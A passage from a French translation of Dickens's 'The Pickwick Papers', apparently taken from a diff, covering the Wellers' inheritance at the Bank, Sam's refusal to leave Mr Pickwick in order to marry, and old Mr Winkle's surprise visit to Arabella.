+pari sur un petit carnet, avec un porte crayon d'or. L'autre gentleman
+l'inscrivit également, sur un autre petit carnet, avec un autre porte
+crayon d'or.
+
+--J'ai lu ce matin un avis concernant Boffer, dit ensuite M. Simmery.
+Pauvre diable! il est exécuté.
+
+--Je vous parie dix guinées contre cinq, qu'il se coupe la gorge.
+
+--Tenu.
+
+--Attendez! Je me ravise, reprit Wilkins Flasher d'un air pensif. Il se
+pendra peut-être.
+
+--Très-bien! répliqua M. Simmery, en tirant le porte crayon d'or. Je
+consens à cela. Disons qu'il se détruira.
+
+--Qu'il se suicidera.
+
+--Précisément. Flasher, dix guinées contre cinq; Boffer se suicidera.
+Dans quel espace de temps dirons-nous?
+
+--Une quinzaine.
+
+--Non pas! répliqua M. Simmery, en s'arrêtant un instant pour tuer une
+mouche. Disons une semaine.
+
+--Partageons la différence; mettons dix jours.
+
+--Bien dix jours.»
+
+Ainsi il fut enregistré sur le petit carnet, que Boffer devait se
+suicider dans l'espace de dix jours; sans quoi Wilkins Flasher, esquire,
+payerait à Frank Simmery, esquire, la somme de dix guinées; mais que si
+Boffer se suicidait dans cet intervalle, Frank Simmery, esquire,
+payerait cinq guinées à Wilkins Flasher, esquire.
+
+«Je suis très-fâché qu'il ait sauté, reprit Wilkins Flasher, esquire.
+Quels fameux dîners il donnait.
+
+--Quel bon porter il avait! J'envoie demain notre maître d'hôtel à la
+vente, pour acheter quelques bouteilles de son soixante-quatre.
+
+--Diantre! mon homme doit y aller aussi. Cinq guinées que mon homme
+couvre l'enchère du votre.
+
+--Tenu.»
+
+Une autre inscription fut faite sur les petits carnets, et M. Simmery,
+ayant tués toutes les mouches et tenu tous les paris, se dandina jusqu'à
+la Bourse, pour voir ce qui s'y passait.
+
+Wilkins Flasher, esquire, condescendit alors à recevoir les instructions
+de M. Salomon Pell, et, ayant rempli quelques imprimés, engagea la
+société à le suivre à la Banque. Durant le chemin, M. Weller et ses amis
+ouvraient de grands yeux, pleins d'étonnement, à tout ce qu'ils
+voyaient, tandis que Sam examinait toutes choses avec un sang froid que
+rien ne pouvait troubler.
+
+Ayant traversé une cour remplie de mouvement et de bruit, et passé près
+de deux portiers qui paraissaient habillés pour rivaliser avec la pompe
+à incendie peinte en rouge et reléguée dans un coin, nos personnages
+arrivèrent dans le bureau où leur affaire devait être expédiée, et où
+Pell et Flasher les laissèrent quelques instants, pour monter au bureau
+des testaments.
+
+«Qu'est-ce que c'est donc que cet endroit-ci? murmura l'homme au teint
+marbré à l'oreille de M. Weller _senior_.
+
+--Le bureau des consolidés, répliqua tout bas l'exécuteur testamentaire.
+
+--Qu'est-ce que c'est que ces gentlemen qui s'tiennent derrière les
+comptoirs? demanda le cocher enroué.
+
+--Des consolidés réduits, je suppose, répondit M. Weller. C'est-t'il pas
+des consolidés réduits, Samivel?
+
+--Comment? vous ne supposez pas que les consolidés sont vivants? dit Sam
+avec quelque dédain.
+
+--Est-ce que je sais, moi, reprit M. Weller. Qu'est-ce que c'est alors?
+
+--Des employés, répondit Sam.
+
+--Pourquoi donc qu'ils mangent tous des _sandwiches_ au jambon?
+
+--Parce que c'est dans leur devoir, je suppose. C'est une partie du
+système. Ils ne font que ça toute la journée.»
+
+M. Weller et ses amis eurent à peine un moment pour réfléchir sur cette
+singulière particularité du système financier de l'Angleterre, car ils
+furent rejoints aussitôt par Pell et par Wilkins Flasher, esquire, qui
+les conduisirent vers la partie du comptoir au-dessus de laquelle un
+gros W était inscrit sur son écriteau noir.
+
+«Pourquoi c'est-il, cela? demanda M. Weller à M. Pell, en dirigeant son
+attention vers l'écriteau en question.
+
+--La première lettre du nom de la défunte, répliqua l'homme d'affaires.
+
+--Ça ne peut pas marcher comme ça, dit M. Weller en se tournant vers les
+arbitres. Il y a quelque chose qui ne va pas bien. V est notre lettre.
+Ça ne peut pas aller comme ça.»
+
+Les arbitres, interpellés, donnèrent immédiatement leur opinion que
+l'affaire ne pouvait pas être légalement terminée sous la lettre W; et,
+suivant toutes les probabilités, elle aurait été retardée d'un jour, au
+moins, si Sam n'avait pas pris sur-le-champ un parti peu respectueux, en
+apparence, mais décisif. Saisissant son père par le collet de son habit,
+il le tira vers le comptoir et l'y tint cloué jusqu'à ce qu'il eût
+apposé sa signature sur une couple d'instruments; ce qui n'était pas une
+petite affaire, vu l'habitude qu'avait M. Weller de n'écrire qu'en
+lettres moulées. Aussi, pendant cette opération, l'employé eut-il le
+temps de couper et de peler trois pommes de reinette.
+
+Comme M. Weller insistait pour vendre sa portion, sur-le-champ, toute la
+bande se rendit de la Banque à la porte de la Bourse.
+
+Après une courte absence, Wilkins Flasher, esquire, revint vers nos
+amis, apportant, sur _Smith Payne et Smith_, un mandat de cinq cent
+trente livres sterling, lesquelles cinq cent trente livres sterling
+représentaient, au cours du jour, la portion des rentes de la seconde
+madame Weller, afférente à M. Weller _senior_.
+
+Les deux cents livres sterling de Sam restèrent inscrites en son nom, et
+Wilkins Flasher, esquire, ayant reçu sa commission, la laissa tomber
+nonchalamment dans sa poche et se dandina vers son bureau.
+
+M. Weller était d'abord obstinément décidé à ne toucher son mandat qu'en
+souverains; mais les arbitres lui ayant représenté qu'il serait obligé
+de faire la dépense d'un sac, pour les emporter, il consentit à
+recevoir la somme en billets de cinq livres sterling.
+
+«Mon fils et moi, dit-il en sortant de chez le banquier, mon fils et moi
+nous avons un engagement très-particulier pour cette après-dîner, et je
+voudrais bien enfoncer cette affaire ici complètement. Ainsi,
+allons-nous-en tout droit quelque part pour finir nos comptes.»
+
+Une salle tranquille ayant été trouvée dans le voisinage, les comptes
+furent produits et examinés. Le mémoire de M. Pell fut taxé par Sam, et
+quelques-uns des articles ne furent pas alloués par les arbitres; mais
+quoique M. Pell leur eût déclaré, avec de solennelles assurances, qu'ils
+étaient trop durs pour lui, ce fut certainement l'opération la plus
+profitable qu'il eût jamais faite, et elle servit à défrayer pendant
+plus de six mois son logement, sa nourriture et son blanchissage.
+
+Les arbitres ayant pris la goutte, donnèrent des poignées de main et
+partirent, car ils devaient conduire le soir même. M. Salomon voyant
+qu'il n'y avait plus rien à boire ni à manger, prit congé de la manière
+la plus amicale, et Sam fut laissé seul avec son père.
+
+«Mon garçon, dit M. Weller, en mettant son portefeuille dans sa poche de
+côté, il y a là onze cent quatre-vingts livres sterling, y compris les
+billets pour la cession du bail et le reste. Maintenant Samivel, tournez
+la tête du cheval du côté du _George et Vautour_.»
+
+
+
+
+CHAPITRE XXVII.
+
+M. Weller assiste à une importante conférence entre M. Pickwick et
+Samuel. Un vieux gentleman, en habit couleur de tabac, arrive
+inopinément.
+
+
+M. Pickwick était seul, rêvant à beaucoup de choses, et pensant
+principalement à ce qu'il y avait de mieux à faire pour le jeune couple,
+dont la condition incertaine était pour lui un sujet constant de regrets
+et d'anxiété, lorsque Mary entra légèrement dans la chambre, et,
+s'avançant vers la table, lui dit d'une manière un peu précipitée:
+
+«Oh! monsieur, s'il vous plaît, Samuel est en bas, et il demande si son
+père peut vous voir!
+
+--Certainement.
+
+--Merci, monsieur, dit Mary, en retournant vers la porte.
+
+--Est-ce qu'il y a longtemps que Sam est ici?
+
+--Oh! non, monsieur. Il ne fait que de revenir, et il ne vous demandera
+plus de congé, à ce qu'il dit.»
+
+Mary n'aperçut sans doute, qu'elle avait communiqué cette dernière
+nouvelle avec plus de chaleur qu'il n'était absolument nécessaire; ou
+peut-être remarque-t-elle le sourire de bonne humour avec lequel M.
+Pickwick la regarda, quand elle eut fini de parler. Le fait est qu'elle
+baissa la tête et examina le coin de son joli petit tablier, avec une
+attention qui ne paraissait pas indispensable.
+
+«Dites-leur qu'ils viennent sur-le-champ.»
+
+Mary, apparemment fort soulagée, s'en alla rapidement avec son message.
+
+M. Pickwick fit deux ou trois tours dans la chambre, et frottant son
+menton avec sa main gauche, parut plongé dans de profondes réflexions.
+
+«Allons, allons! dit-il à la fin, d'un ton doux, mais mélancolique,
+c'est la meilleure manière dont je puisse récompenser sa fidélité. Il
+faut que cela soit ainsi. C'est le destin d'un vieux garçon de voir ceux
+qui l'entourent former de nouveaux attachements et l'abandonner. Je n'ai
+pas le droit d'attendre qu'il en soit autrement pour moi. Non, non,
+ajouta-t-il plus gaiement, ce serait de l'égoïsme et de l'ingratitude.
+Je dois m'estimer heureux d'avoir une si bonne occasion de l'établir.
+J'en suis heureux, nécessairement j'en suis heureux.»
+
+M. Pickwick était si absorbé dans ces réflexions, qu'on avait frappé
+trois ou quatre fois à la porte avant qu'il l'entendit. S'asseyant
+rapidement et reprenant l'air aimable qui lui était ordinaire, il cria:
+
+«Entrez!» Et Sam Weller parut, suivi par son père.
+
+«Je suis charmé de vous voir revenu, Sam. Comment vous portez-vous,
+monsieur Weller?
+
+--Très-bien, mossieu, grand merci, répliqua le veuf. J'espère que vous
+allez bien, mossieu?
+
+--Tout à fait, je vous remercie.
+
+--Je désirerais avoir un petit brin de conversation avec vous, mossieu,
+si vous pouvez m'accorder cinq minutes.
+
+--Certainement. Sam, donnez une chaise à votre père.
+
+--Merci, Samivel, j'en ai attrapé une ici. Un bon joli temps mossieu,
+dit M. Weller en s'asseyant et en posant son chapeau par terre.
+
+--Fort beau pour la saison, répliqua M. Pickwick, fort beau.
+
+--Le plus joli temps que j'aie jamais vu,» reprit M. Weller. Mais,
+arrivé là, il fut saisi d'un violent accès de toux, et sa toux terminée,
+il se mit à faire des signes de tête, des clins d'oeil, des gestes
+suppliants et menaçants à son fils, qui s'obstinait méchamment à n'en
+rien voir.
+
+M. Pickwick s'apercevant que le vieux gentleman était embarrassé,
+feignit de s'occuper à couper les feuillets d'un livre, et attendit
+ainsi que M. Weller expliquât l'objet de sa visite.
+
+«Je n'ai jamais vu un garçon aussi contrariant que toi, Samivel, dit à
+la fin le vieux cocher, en regardant son fils d'un air indigné. Jamais,
+de ma vie ni de mes jours.
+
+--Qu'a-t-il donc fait, M. Weller? demanda M. Pickwick.
+
+--Il ne veut pas commencer, mossieu; il sait que je ne suis pas capable
+de m'exprimer moi-même, quand il y a quelque chose de particulier à
+dire, et il reste là, comme une ferme, plutôt que de m'aider d'une
+syllabe. Il me laisse embourber dans l'chemin pour que je vous fasse
+perdre votre temps, et que je me donne moi-même en spectacle. Ce n'est
+pas une conduite filiale, Samivel, poursuivit M. Weller en essuyant son
+front; bien loin de là!
+
+--Vous disiez que vous vouliez parler, répliqua Sam; comment pouvais-je
+savoir que vous étiez embourbé dès le commencement?
+
+--Tu as bien vu que je n'étais pas capable de démarrer, que j'étais sur
+le mauvais côté de la route, et que je reculais dans les palissades, et
+toutes sortes d'autres désagréments. Et malgré ça, tu ne veux pas me
+donner un coup de main. Je suis honteux de toi, Samivel.
+
+--Le fait est, monsieur, reprit Sam avec un léger salut; le fait est que
+le gouverneur vient de retirer son argent des fontes...
+
+--Très-bien, Samivel, très-bien, interrompit M. Weller, en remuant la
+tête d'un air satisfait. Je n'avais pas l'intention d'être dur envers
+toi, Sammy. Très-bien, voilà comme il faut commencer; arrivons au fait
+tout de suite. Très-bien, Samivel, en vérité.»
+
+Dans l'excès de son contentement M. Weller fit une quantité
+extraordinaires de signes de tête, et attendit d'un air attentif que
+Sam continuât son discours.
+
+--Sam, dit M. Pickwick, en s'apercevant que l'entrevue promettait d'être
+plus longue qu'il ne l'avait imaginé, vous pouvez vous asseoir.»
+
+Sam salua encore, puis il s'assit; et son père lui ayant lancé un coup
+d'oeil expressif, il continua.
+
+«Le gouverneur a touché cinq cent trente livres sterling....
+
+--Toutes consolidées, interpella M. Weller, à demi-voix.
+
+--Ça ne fait pas grand choses, que ce soit des fontes consolidées ou
+non, reprit Sam. N'est-ce pas cinq cent trente livres sterling?
+
+--Justement, Samivel.
+
+--À quoi il a ajouté pour la vente de l'auberge....
+
+--Pour le bail, les meubles et la clientèle, expliqua M. Weller.
+
+--De quoi faire en tout onze cent quatre-vingts livres sterling.
+
+--En vérité, fit M. Pickwick, je vous félicite, monsieur Weller, d'avoir
+fait de si bonnes affaires.
+
+--Attendez une minute, mossieu dit le sage cocher, en levant la main
+d'une manière suppliante. Marche toujours, Samivel.
+
+--Il désire beaucoup, reprit Sam, avec un peu d'hésitation, et je désire
+beaucoup aussi voir mettre cette monnaie-là dans un endroit où elle sera
+en sûreté; car, s'il la garde, il va la prêter au premier venu, ou la
+dépenser en chevaux, ou laisser tomber son portefeuille de sa poche sur
+la route, ou faire une momie égyptienne de son corps, d'une manière où
+d'une autre.
+
+--Très-bien, Samivel, interrompit M. Weller, d'un air aussi complaisant
+que si son fils avait fait le plus grand éloge de sa prudence et de sa
+prévoyance.
+
+--C'est pourquoi, continua Sam, en tortillant avec inquiétude le bord de
+son chapeau; c'est pourquoi il l'a ramassée aujourd'hui, et est venu ici
+avec moi, pour dire... c'est-à-dire pour offrir... ou en d'autres termes
+pour....
+
+--Pour dire ceci, continua M. Weller avec impatience, c'est que la
+monnaie ne me servira de rien, à moi, vu que je vas conduire une voiture
+régulièrement; et comme je n'ai pas d'endroit pour la mettre, à moins
+que je ne paye le conducteur pour en prendre soin, ou que je la mette
+dans une des poches de la voiture, ce qui serait une tentation pour les
+voyageurs du coupé; de sorte que si vous voulez en prendre soin pour
+moi, mossieu, je vous serai bien obligé. Peut-être, ajouta M. Weller, en
+se levant et en venant parler à l'oreille de M. Pickwick, peut-être
+qu'elle pourra servir à payer une partie de cette condamnation.... Tout
+ce que j'ai à dire, c'est que vous la gardiez, jusqu'à ce que je vous la
+redemande.»
+
+En disant ces mots, M. Weller posa son portefeuille sur les genoux de M.
+Pickwick, saisit son chapeau, et se sauva hors de la chambre, avec une
+célérité qu'on aurait eu bien de la peine à attendre d'un sujet aussi
+corpulent.
+
+«Sam, arrêtez-le! s'écria M. Pickwick d'un ton sérieux. Rattrapez-le!
+ramenez-le moi sur-le-champ, Monsieur Weller, arrêtez, arrêtez!»
+
+Sam vit qu'il ne fallait pas badiner avec les injonctions de son maître.
+Il saisit son père par le bras, comme il descendait l'escalier, et le
+ramena de vive force.
+
+«Mon ami, dit M. Pickwick en le prenant par la main, votre honnête
+confiance me confond.
+
+--Il n'y a pas de quoi, monsieur, repartit le cocher, d'un ton obstiné.
+
+--Je vous assure, mon ami, que j'ai plus d'argent qu'il ne m'en faut;
+bien plus qu'un homme de mon âge ne pourra jamais en dépenser.
+
+--On ne sait pas ce qu'on peut dépenser tant qu'on n'a pas essayé.
+
+--C'est possible; mais comme je ne veux pas faire cette expérience-là,
+il n'est guère probable que je tombe dans le besoin. Je dois donc vous
+prier de reprendre ceci, monsieur Weller.
+
+--Très-bien, répliqua le vieux cocher d'un ton mécontent. Faites
+attention à ceci, Samivel; je ferai un acte de désespéré avec cette
+propriété; un acte de désespéré!
+
+--Je ne vous y engage pas,» répondit Sam.
+
+M. Weller réfléchit pendant quelque temps, puis, boutonnant son habit
+d'un air déterminé, il dit: je tiendrai un _turnpike_[27].
+
+[Footnote 27: Un _Turnpike_, barrière pour le péage des voitures sur les
+routes anglaises.
+
+(_Note du traducteur._)]
+
+«Quoi? s'écria Sam.
+
+--Un _turnpike_ rétorqua M. Weller entre ses dents serrées. Dites adieu
+à votre père, Samivel; je dévoue le reste de ma carrière à tenir un
+_turnpike_!»
+
+Cette menace était si terrible, M. Weller semblait si déterminé à
+l'exécuter, et si profondément mortifié par le refus de M. Pickwick, que
+l'excellent homme, après quelques instants de réflexion, lui dit:
+
+«Allons, allons, monsieur Weller, je garderai votre argent. Il est
+possible effectivement que je puisse faire plus de bien que vous avec
+cette somme.
+
+--Parbleu, répondit M. Weller en se rassérénant, certainement, que vous
+pourrez en faire plus que moi, mossieu.
+
+--Ne parlons plus de cela, dit M. Pickwick, en enfermant le portefeuille
+dans son bureau. Je vous suis sincèrement obligé, mon ami. Et maintenant
+rasseyez-vous, j'ai un avis à vous demander.»
+
+Le rire comprimé de triomphe qui avait bouleversé, non seulement le
+visage de M. Weller, mais ses bras, ses jambes et tout son corps,
+pendant que le portefeuille était enfermé, fut remplacé par la gravité
+la plus majestueuse, aussitôt qu'il eut entendu ces paroles.
+
+«Laissez-nous un instant, Sam,» dit M. Pickwick.
+
+Sam se retira immédiatement.
+
+Le corpulent cocher avait l'air singulièrement profond, mais
+prodigieusement étonné, lorsque M. Pickwick ouvrit le discours en
+disant:
+
+«Vous n'êtes pas, je pense, un avocat du mariage, monsieur Weller?»
+
+Le père de Sam secoua la tête, mais il n'eut point la force de parler;
+il était pétrifié par la pensée que quelque méchante veuve avait réussi
+à enchevêtrer M. Pickwick.
+
+«Tout à l'heure, en montant l'escalier avec votre fils, avez-vous, par
+hasard, remarqué une jeune fille?
+
+--J'ai vu une jeunesse, répliqua M. Weller brièvement.
+
+--Comment l'avez-vous trouvée, monsieur Weller? Dites-moi candidement
+comment vous l'avez trouvée?»
+
+--J'ai trouvé qu'elle était dodue, et les membres bien attachés,
+répondit le cocher d'un air de connaisseur.
+
+«C'est vrai, vous avez raison. Mais qu'avez-vous pensé de ses manières?
+
+--Eh! eh! très-agréables, mossieu, et très-conformables.»
+
+Rien ne déterminait le sens précis que M. Weller attachait à ce dernier
+adjectif; mais comme le ton dont il l'avait prononcé indiquait
+évidemment que c'était une expression favorable, M. Pickwick en fut
+aussi satisfait que s'il l'avait compris distinctement.
+
+«Elle m'inspire beaucoup d'intérêt, monsieur Weller,» reprit M.
+Pickwick.
+
+Le cocher toussa.
+
+«Je veux dire que je prends intérêt à son bien-être, à ce qu'elle soit
+heureuse et confortable, vous me comprenez?
+
+--Très-clairement, répliqua M. Weller, qui ne comprenait rien du tout.
+
+--Cette jeune personne est attachée à votre fils.
+
+--À Samivel Weller! s'écria le père.
+
+--Précisément.
+
+--C'est naturel, dit M. Weller, après quelques instants de réflexion;
+c'est naturel, mais c'est un peu alarmant; il faut que Samivel prenne
+bien garde.
+
+--Qu'entendez-vous par là?
+
+--Prenne bien garde de ne rien lui dire dans un moment d'innocence, qui
+puisse servir à une conviction pour violation de promesse de mariage.
+Faut pas jouer avec ces choses-là, monsieur Pickwick. Quand une fois
+elles ont des desseins sur vous, on ne sait comment s'en dépêtrer, et
+pendant qu'on y réfléchit, elles vous empoignent. J'ai été marié comme
+ça moi-même la première fois, mossieu; et Samivel est la conséquence de
+la manoeuvre.
+
+--Vous ne me donnez pas grand encouragement pour conclure ce que j'avais
+à vous dire; mais je crois, pourtant, qu'il vaut mieux en finir tout
+d'un coup. Non-seulement, cette jeune personne est attachée à votre
+fils, mais votre fils lui est attaché, monsieur Weller.
+
+--Eh ben! voilà de jolies choses pour revenir aux oreilles d'un père!
+Voilà de jolies choses!
+
+--Je les ai observés dans diverses occasions, poursuivit M. Pickwick,
+sans faire de commentaires sur l'exclamation du gros cocher; et je n'en
+doute aucunement. Supposez que je désirasse les établir, comme mari et
+femme, dans une situation où ils puissent vivre confortablement; qu'en
+penseriez-vous, monsieur Weller?»
+
+D'abord, M. Weller reçut avec de violentes grimaces une proposition
+impliquant mariage, pour une personne à laquelle il prenait intérêt:
+mais comme M. Pickwick, en raisonnant avec lui, insistait fortement sur
+ce que Mary n'était point une veuve, il devint graduellement plus
+traitable. M. Pickwick avait beaucoup d'influence sur son esprit, le
+cocher d'ailleurs avait été singulièrement frappé par les charmes de la
+jeune fille, à qui il avait déjà lancé plusieurs oeillades très-peu
+paternelles. À la fin, il déclara que ce n'était pas à lui de s'opposer
+aux désirs de M. Pickwick, et qu'il suivrait toujours ses avis avec
+grand plaisir. Notre excellent ami le prit au mot avec empressement, et
+sans lui donner le temps de la réflexion, fit comparaître son
+domestique.
+
+«Sam, dit M. Pickwick en toussant un peu, car il avait quelque chose
+dans la gorge, votre père et moi, avons eu une conversation à votre
+sujet.
+
+--À ton sujet, Samivel, répéta M. Weller, d'un ton protecteur et calculé
+pour faire de l'effet.
+
+--Je ne suis pas assez aveugle, Sam, pour ne pas m'être aperçu, depuis
+longtemps, que vous avez pour la femme de chambre de madame Winkle, plus
+que de l'amitié.
+
+--Tu entends, Samivel, ajouta M. Weller du même air magistral.
+
+--J'espère, monsieur, dit Sam en s'adressant à son maître; j'espère
+qu'il n'y a pas de mal à ce qu'un jeune homme remarque une jeune femme
+qui est certainement agréable, et d'une bonne conduite.
+
+--Aucun, dit M. Pickwick.
+
+--Pas le moins du monde, ajouta M. Weller, d'une voix affable mais
+magistrale.
+
+--Loin de penser qu'il y ait du mal dans une chose si naturelle, reprit
+M. Pickwick, je suis tout disposé à favoriser vos désirs. C'est pour
+cela que j'ai eu une petite conversation avec votre père; et comme il
+est de mon opinion....
+
+--La personne n'étant pas une veuve, fit remarquer M. Weller.
+
+--La personne n'étant pas une veuve, répéta M. Pickwick en souriant, je
+désire vous délivrer de la contrainte que vous impose votre présente
+condition auprès de moi, et vous témoigner ma reconnaissance pour votre
+fidélité, en vous mettant à même d'épouser cette jeune fille,
+sur-le-champ, et de soutenir, d'une manière indépendante, votre famille
+et vous-même. Je serai fier, poursuivit M. Pickwick, dont la voix
+jusque-là tremblante, avait repris son élasticité ordinaire, je serai
+fier et heureux de prendre soin moi-même de votre bien-être à venir.»
+
+Il y eut pendant quelques instants un profond silence, après lequel, Sam
+dit d'une voix basse et entrecoupée, mais ferme néanmoins:
+
+«Je vous suis très-obligé pour votre bonté, monsieur, qui est tout à
+fait digne de vous, mais ça ne peut pas se faire.
+
+--Cela ne peut pas se faire! s'écria M. Pickwick, avec étonnement.
+
+--Samivel! dit M. Weller avec dignité.
+
+--Je dis que ça ne peut pas se faire, répéta Sam d'un ton plus élevé.
+Qu'est-ce que vous deviendriez, monsieur?
+
+--Mon cher garçon, répondit Pickwick, les derniers événements qui ont eu
+lieu parmi mes amis changeront complètement ma manière de vivre à
+l'avenir. En outre, je deviens vieux, j'ai besoin de repos et de
+tranquillité; mes promenades sont finies, Sam.
+
+--Comment puis-je savoir ça, monsieur? Vous le croyez comme ça,
+maintenant; mais supposez que vous veniez à changer d'avis, ça n'est pas
+impossible, car vous avez encore le feu d'un jeune homme de vingt-cinq
+ans; qu'est-ce que vous deviendriez sans moi? Ça ne peut pas se faire,
+monsieur, ça ne peut pas se faire.
+
+--Très-bien, Samivel. Il y a beaucoup de raison là-dedans, fit observer
+M. Weller, d'une voix encourageante.
+
+--Je parle après de longues réflexions, Sam, reprit M. Pickwick en
+secouant la tête. Les scènes nouvelles ne me conviennent plus; mes
+voyages sont finis.
+
+--Très-bien, monsieur. Alors raison de plus pour que vous ayez toujours
+avec vous quelqu'un qui vous connaisse, pour vous rendre confortable. Si
+vous voulez avoir un gaillard plus élégant, c'est bel et bon, prenez-le;
+mais avec ou sans gages, avec congé ou sans congé, nourri ou non nourri,
+logé ou non logé, Sam Weller, que vous avez pris dans la vieille auberge
+du _Borough_, s'attache à vous, arrive qui plante; et tout le monde aura
+beau faire et beau dire, rien ne l'en empêchera!»
+
+À la fin de cette déclaration, que Sam fit avec grande émotion, son père
+se leva de sa chaise, et oubliant toute considération de lieu et de
+convenance, agita son chapeau au-dessus de sa tête, en poussant trois
+véhémentes acclamations.
+
+«Mon garçon, dit M. Pickwick, lorsque M. Weller se fut rassis, un peu
+honteux de son propre enthousiasme, mon garçon, vous devez considérer
+aussi la jeune fille.
+
+--Je considère la jeune fille, monsieur; j'ai considéré la jeune fille,
+je lui ai dit ma position, et elle consent à attendre, jusqu'à ce que je
+sois prêt. Je crois qu'elle tiendra sa promesse, monsieur: si elle ne
+la tenait pas, elle ne serait pas la jeune fille pour qui je l'ai prise,
+et j'y renonce volontiers. Vous me connaissez bien, monsieur; mon parti
+est arrêté, et rien ne pourra m'en faire changer.»
+
+Qui aurait eu le coeur de combattre cette résolution? Ce n'était pas M.
+Pickwick. L'attachement désintéressé de ses humbles amis lui inspirait,
+en ce moment, plus d'orgueil et de jouissances de sentiments que
+n'auraient pu lui en causer dix mille protestations des plus grands
+personnages de la terre.
+
+Tandis que cette conversation avait lieu dans la chambre de M. Pickwick,
+un petit vieillard en habit couleur de tabac, suivi d'un porteur et
+d'une valise, se présentait à la porte de l'hôtel. Après s'être assuré
+d'une chambre pour la nuit, il demanda au garçon s'il n'y avait pas dans
+la maison une certaine Mme Winkle; et sur sa réponse affirmative:
+
+«Est-elle seule? demanda le petit vieillard.
+
+--Je crois que oui, monsieur. Je puis appeler sa femme de chambre, si
+vous....
+
+--Non, je n'en ai pas besoin; interrompit vivement le petit homme.
+Conduisez-moi à sa chambre sans m'annoncer.
+
+--Mais, monsieur! fit le garçon.
+
+--Êtes-vous sourd?
+
+--Non, monsieur.
+
+--Alors écoutez-moi, s'il vous plaît. Pouvez-vous m'entendre maintenant?
+
+--Oui, monsieur.
+
+--C'est bien. Conduisez-moi à la chambre de mistress Winkle sans
+m'annoncer.»
+
+En proférant cet ordre, le petit vieillard glissa cinq shillings dans la
+main du garçon et le regarda fixement.
+
+«Réellement, monsieur, je ne sais pas si....
+
+--Eh! vous finirez par le faire, je le vois bien; ainsi autant vaut le
+faire tout de suite; cela nous épargnera du temps.»
+
+Il y avait quelque chose de si tranquille et de si décidé dans les
+manières du petit vieillard, que le garçon mit les cinq shillings dans
+sa poche et le conduisit sans ajouter un seul mot.
+
+«C'est là? dit l'étranger. Bien, vous pouvez vous retirer.»
+
+La garçon obéit, tout en se demandant qui le gentleman pouvait être et
+ce qu'il voulait. Celui-ci attendit qu'il fut disparu et frappa à la
+porte.
+
+«Entrez, fit Arabelle.
+
+--Hum! une jolie voix toujours; mais cela n'est rien.»
+
+En disant ceci, il ouvrit la porte et entra dans la chambre. Arabelle,
+qui était en train de travailler, se leva en voyant un étranger, un peu
+confuse, mais d'une confusion pleine de grâce.
+
+«Ne vous dérangez pas, madame, je vous prie, dit l'inconnu en fermant la
+porte derrière lui. Mme Winkle, je présume?»
+
+Arabelle inclina la tête.
+
+«Mme Nathaniel Winkle, qui a épousé le fils du vieux marchand de
+Birmingham?» poursuivit l'étranger en examinant Arabelle avec une
+curiosité visible.
+
+Arabelle inclina encore la tête et regarda autour d'elle avec une sorte
+d'inquiétude, comme si elle avait songé à appeler quelqu'un.
+
+«Ma visite vous surprend, à ce que je vois, madame? dit le vieux
+gentleman.
+
+--Un peu, je le confesse, répondit Arabelle en s'étonnant de plus en
+plus.
+
+--Je prendrai une chaise, si vous me le permettez, madame, dit
+l'étranger en s'asseyant et en tirant tranquillement de sa poche une
+paire de lunettes qu'il ajusta sur son nez. Vous ne me connaissez pas,
+madame? dit-il en regardant Arabelle si attentivement qu'elle commença à
+s'alarmer.
+
+--Non, monsieur, répliqua-t-elle timidement.
+
+--Non, répéta l'étranger en balançant sa jambe droite; je ne vois pas
+comment vous me connaîtriez. Vous savez mon nom cependant, madame.
+
+--Vous croyez? dit Arabelle toute tremblante, sans trop savoir pourquoi.
+Puis-je vous prier de me le rappeler?
+
+--Tout à l'heure, madame, tout à l'heure, répondit l'inconnu qui n'avait
+pas encore détourné les yeux de son visage. Vous êtes mariée depuis peu,
+madame?
+
+--Oui, monsieur, répliqua Arabelle d'une voix à peine perceptible et en
+mettant de côté son ouvrage; car une pensée, qui l'avait déjà frappée
+auparavant, l'agitait de plus en plus.
+
+--Sans avoir représenté à votre mari la convenance de consulter d'abord
+son père, dont il dépend entièrement, à ce que je crois?»
+
+Arabelle mit son mouchoir sur ses yeux.
+
+«Sans même vous efforcer d'apprendre par quelque moyen indirect quels
+étaient les sentiments du vieillard sur un point qui l'intéressait
+autant que celui-là.
+
+--Je ne puis le nier, monsieur, balbutia Arabelle.
+
+--Et sans avoir assez de bien, de votre côté, pour assurer à votre époux
+un dédommagement des avantages auxquels il renonçait en ne se mariant
+pas selon les désirs de son père? C'est là ce que les jeunes gens
+appellent une affection désintéressée, jusqu'à ce qu'ils aient des
+enfants à leur tour et qu'ils viennent alors à penser différemment.»
+
+Les larmes d'Arabelle coulaient abondamment, tandis qu'elle s'excusait
+en disant qu'elle était jeune et inexpérimentée, que son attachement
+seul l'avait entraînée, et qu'elle avait été privée des soins et des
+conseils de ses parents presque depuis son enfance.
+
+C'était mal, dit le vieux gentleman d'un ton plus doux, c'était fort
+mal. C'était romanesque, mal calculé, absurde.
+
+--C'est ma faute, monsieur, ma faute à moi seule, réplique la pauvre
+Arabelle en pleurant.
+
+--Bah! Ce n'est pas votre faute, je suppose, s'il est devenu amoureux de
+vous.... Mais si pourtant, ajouta l'inconnu en regardant Arabelle d'un
+air malin, si, c'est bien votre faute; il ne pouvait pas s'en empêcher.
+
+Ce petit compliment, ou l'étrange façon dont le vieux gentleman l'avait
+fait, ou le changement de ses manières qui étaient devenues beaucoup
+plus douces, ou ces trois causes réunies, arrachèrent à Arabelle un
+sourire au milieu de ses larmes.
+
+«Où est votre mari? demanda brusquement l'inconnu pour dissimuler un
+sourire qui avait éclairci son propre visage.
+
+--Je l'attends à chaque instant, monsieur. Je lui ai persuadé de se
+promener un peu ce matin; il est très malheureux, très-abattu, de
+n'avoir pas reçu de nouvelles de son père.
+
+--Ah! ah! c'est bien fait, il le mérite.
+
+--Il en souffre pour moi, monsieur; et, en vérité, je souffre beaucoup
+pour lui, car c'est moi qui suis la cause de son chagrin.
+
+--Ne vous tourmentez pas à cause de lui, ma chère; il le mérite bien.
+J'en suis charmé, tout à fait charmé, pour ce qui est de lui.
+
+Ces mots étaient à peine sortis de la bouche du vieux gentleman, lorsque
+des pas se firent entendre sur l'escalier. Arabelle et l'étranger
+parurent les reconnaître au même instant. Le petit vieillard devint
+pâle, et, faisant un violent effort pour paraître tranquille, il se leva
+comme M. Winkle entrait dans la chambre.
+
+«Mon père! s'écria celui-ci en reculant d'étonnement.
+
+--Oui, monsieur, répondit le petit vieillard. Eh bien! monsieur,
+qu'est-ce que vous avez à me dire?»
+
+M. Winkle garda le silence.
+
+«Vous rougissez de votre conduite, j'espère?»
+
+M. Winkle ne dit rien encore.
+
